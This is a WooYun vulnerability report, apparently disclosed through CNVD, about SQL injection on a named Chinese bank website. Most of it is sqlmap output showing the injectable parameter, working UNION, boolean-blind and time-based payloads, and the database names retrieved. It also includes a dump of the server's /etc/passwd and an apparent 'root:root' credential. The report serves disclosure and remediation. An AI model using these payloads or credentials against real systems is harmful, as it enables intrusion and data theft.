当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089638

漏洞标题:某银行站点SQL注入漏洞(root权限)

相关厂商:cnvd

漏洞作者: #6c6c6c

提交时间:2015-01-01 20:00

修复时间:2015-02-15 20:02

公开时间:2015-02-15 20:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-01: 细节已通知厂商并且等待厂商处理中
2015-01-05: 厂商已经确认,细节仅向厂商公开
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-15: 细节向公众公开

简要描述:

远方的萧吹奏着站长被黑的心情

详细说明:

注入地址:http://www.cycb.com/review.do?method=col&rid=34439
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:09:50
[17:09:50] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.cycb.c
om\session' as session file
[17:09:50] [INFO] testing connection to the target url
[17:09:51] [INFO] testing if the url is stable, wait a few seconds
[17:09:52] [INFO] url is stable
[17:09:52] [INFO] testing if GET parameter 'method' is dynamic
[17:09:52] [INFO] confirming that GET parameter 'method' is dynamic
[17:09:52] [INFO] GET parameter 'method' is dynamic
[17:09:53] [WARNING] heuristic test shows that GET parameter 'method' might not
be injectable
[17:09:53] [INFO] testing sql injection on GET parameter 'method'
[17:09:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:09:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:09:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:09:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:09:56] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[17:09:56] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:09:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[17:09:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:09:58] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:09:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[17:10:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:10:00] [INFO] testing 'Oracle AND time-based blind'
[17:10:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[17:10:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:10:10] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[17:10:18] [WARNING] GET parameter 'method' is not injectable
[17:10:18] [INFO] testing if GET parameter 'rid' is dynamic
[17:10:18] [INFO] confirming that GET parameter 'rid' is dynamic
[17:10:18] [INFO] GET parameter 'rid' is dynamic
[17:10:19] [WARNING] heuristic test shows that GET parameter 'rid' might not be
injectable
[17:10:19] [INFO] testing sql injection on GET parameter 'rid'
[17:10:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:10:24] [INFO] GET parameter 'rid' is 'AND boolean-based blind - WHERE or HAV
ING clause' injectable
[17:10:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:10:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:10:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:10:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[17:10:25] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:10:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[17:10:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:10:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:10:36] [INFO] GET parameter 'rid' is 'MySQL > 5.0.11 AND time-based blind' i
njectable
[17:10:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[17:10:37] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[17:10:38] [INFO] target url appears to have 6 columns in query
[17:10:41] [INFO] GET parameter 'rid' is 'MySQL UNION query (NULL) - 1 to 10 col
umns' injectable
GET parameter 'rid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 177 HTTP(s) req
uests:
---
Place: GET
Parameter: rid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=col&rid=34439' AND 4862=4862 AND 'HHpw'='HHpw
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: method=col&rid=-7702' UNION SELECT NULL, NULL, NULL, CONCAT(0x3a747
5653a,0x707673627176476c4363,0x3a6364793a), NULL, NULL# AND 'BplJ'='BplJ
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: method=col&rid=34439' AND SLEEP(5) AND 'SnVs'='SnVs
---
[17:11:31] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.11
[17:11:31] [INFO] fetching database names
[17:11:32] [INFO] the SQL query used returns 5 entries
[17:11:38] [INFO] retrieved: "information_schema"
[17:11:39] [INFO] retrieved: "cyccb"
[17:11:39] [INFO] retrieved: "jkjk"
[17:11:39] [INFO] retrieved: "mysql"
[17:11:40] [INFO] retrieved: "test"
available databases [5]:
[*] cyccb
[*] information_schema
[*] jkjk
[*] mysql
[*] test
[17:11:40] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\www.cycb.com'
[*] shutting down at 17:11:40


root:x:0:0:root:/root:/bin/bash<br>bin:x:1:1:bin:/bin:/sbin/nologin<br>daemon:x:2:2:daemon:/sbin:/sbin/nologin<br>adm:x:3:4:adm:/var/adm:/sbin/nologin<br>lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin<br>sync:x:5:0:sync:/sbin:/bin/sync<br>shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown<br>halt:x:7:0:halt:/sbin:/sbin/halt<br>mail:x:8:12:mail:/var/spool/mail:/sbin/nologin<br>news:x:9:13:news:/etc/news:<br>uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin<br>operator:x:11:0:operator:/root:/sbin/nologin<br>games:x:12:100:games:/usr/games:/sbin/nologin<br>gopher:x:13:30:gopher:/var/gopher:/sbin/nologin<br>ftp:x:14:50:FTP&nbsp;User:/var/ftp:/sbin/nologin<br>nobody:x:99:99:Nobody:/:/sbin/nologin<br>nscd:x:28:28:NSCD&nbsp;Daemon:/:/sbin/nologin<br>vcsa:x:69:69:virtual&nbsp;console&nbsp;memory&nbsp;owner:/dev:/sbin/nologin<br>rpc:x:32:32:Portmapper&nbsp;RPC&nbsp;user:/:/sbin/nologin<br>mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin<br>smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin<br>pcap:x:77:77::/var/arpwatch:/sbin/nologin<br>ntp:x:38:38::/etc/ntp:/sbin/nologin<br>dbus:x:81:81:System&nbsp;message&nbsp;bus:/:/sbin/nologin<br>avahi:x:70:70:Avahi&nbsp;daemon:/:/sbin/nologin<br>sshd:x:74:74:Privilege-separated&nbsp;SSH:/var/empty/sshd:/sbin/nologin<br>rpcuser:x:29:29:RPC&nbsp;Service&nbsp;User:/var/lib/nfs:/sbin/nologin<br>nfsnobody:x:65534:65534:Anonymous&nbsp;NFS&nbsp;User:/var/lib/nfs:/sbin/nologin<br>haldaemon:x:68:68:HAL&nbsp;daemon:/:/sbin/nologin<br>avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin<br>distcache:x:94:94:Distcache:/:/sbin/nologin<br>apache:x:48:48:Apache:/var/www:/sbin/nologin<br>oprofile:x:16:16:Special&nbsp;user&nbsp;account&nbsp;to&nbsp;be&nbsp;used&nbsp;by&nbsp;OProfile:/home/oprofile:/sbin/nologin<br>webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin<br>squid:x:23:23::/var/spool/squid:/sbin/nologin<br>mysql:x:27:27:MySQL&nbsp;Server:/var/lib/mysql:/bin/bash<br>named:x:25:25:Named:/var/named:/sbin/nologin<br>xfs:x:43:43:X&nbsp;Font&nbsp;Server:/etc/X11/fs:/sbin/nologin<br>gdm:x:42:42::/var/gdm:/sbin/nologin<br>sabayon:x:86:86:Sabayon&nbsp;user:/home/sabayon:/sbin/nologin<br>
root:root

漏洞证明:

修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-01-05 09:44

厂商回复:

CNVD确认并复现所述情况,已经转由CNCER下发给辽宁分中心,由其后续协调网站管理单位处置.

最新状态:

暂无